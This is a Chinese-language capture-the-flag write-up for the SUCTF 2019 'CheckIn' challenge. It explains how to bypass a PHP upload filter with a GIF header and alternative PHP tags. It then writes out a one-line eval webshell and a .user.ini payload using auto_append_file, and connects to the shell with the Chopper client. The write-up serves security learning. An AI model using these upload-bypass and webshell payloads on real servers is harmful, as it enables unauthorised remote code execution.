[SUCTF 2019]CheckIn

[SUCTF 2019]CheckIn

首頁(yè)是個(gè)上傳頁(yè)面,嘗試上傳一個(gè)shell,發(fā)現(xiàn)回顯非法后綴。刪除后綴再上傳,發(fā)現(xiàn)對(duì)文件內(nèi)容也有檢測(cè),檢測(cè)了<?符號(hào)。刪除文件內(nèi)容再上傳,又提示exif_imagetype:not image!,這里的hexif_imagetype是一個(gè)php函數(shù)通過(guò)文件頭判斷文件類型。我們?cè)谖募钋懊婕由螱IF 89A(gif文件頭),發(fā)現(xiàn)成功上傳并回顯了路徑以及目錄下所有文件名。這里我們可以考慮上傳htaccess文件,但是這里是個(gè)nginx服務(wù)器,在響應(yīng)頭里可以看到(但是buuoj里的響應(yīng)頭服務(wù)器是openresty,可能是因?yàn)閎uuoj使用了這個(gè)代理,我是在wp里看到才知道是nginx)。因此嘗試上傳.user.ini文件,這個(gè)文件用以修改部分php.ini中的配置。

php.ini文件中的配置分為幾個(gè)模式,分別是PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER,在php文檔可以查看每個(gè)配置屬于那種模式。.user.ini文件中可以修改PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER模式的配置,在配置列表中有如下兩個(gè)配置auto_append_file、auto_prepend_file。這兩個(gè)配置可以將文件插入到php文件中,我們可以利用這個(gè)函數(shù)來(lái)包含一個(gè)我們上傳的webshell。

首先我們構(gòu)造一個(gè)webshell文件,由于<?被過(guò)濾,嘗試使用短標(biāo)簽

<?php x ?>
<% x %> 開啟asp_tags=on
<? x ?> short_open_tag = On
<?=x ?>

<script language="php">x</script>

這里可以選擇

<script language="php">x</script>格式,也可以選擇<% x %>格式,如果選擇<% x %>格式則需要設(shè)置asp_tags=on,這個(gè)配置屬于PHP_INI_PERDIR,因此可以在.user.ini中修改。

首先上傳一個(gè)無(wú)后綴的文件,內(nèi)容為

GIF 89A
<%
@eval($_POST['cmd']);
%>

然后上傳一個(gè).user.ini文件,內(nèi)容為

GIF 89A
asp_tags=on
auto_append_file={上一個(gè)文件的文件名}

然后使用菜刀連接回顯的路徑下的index.php,最后在根目錄下看到flag文件。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容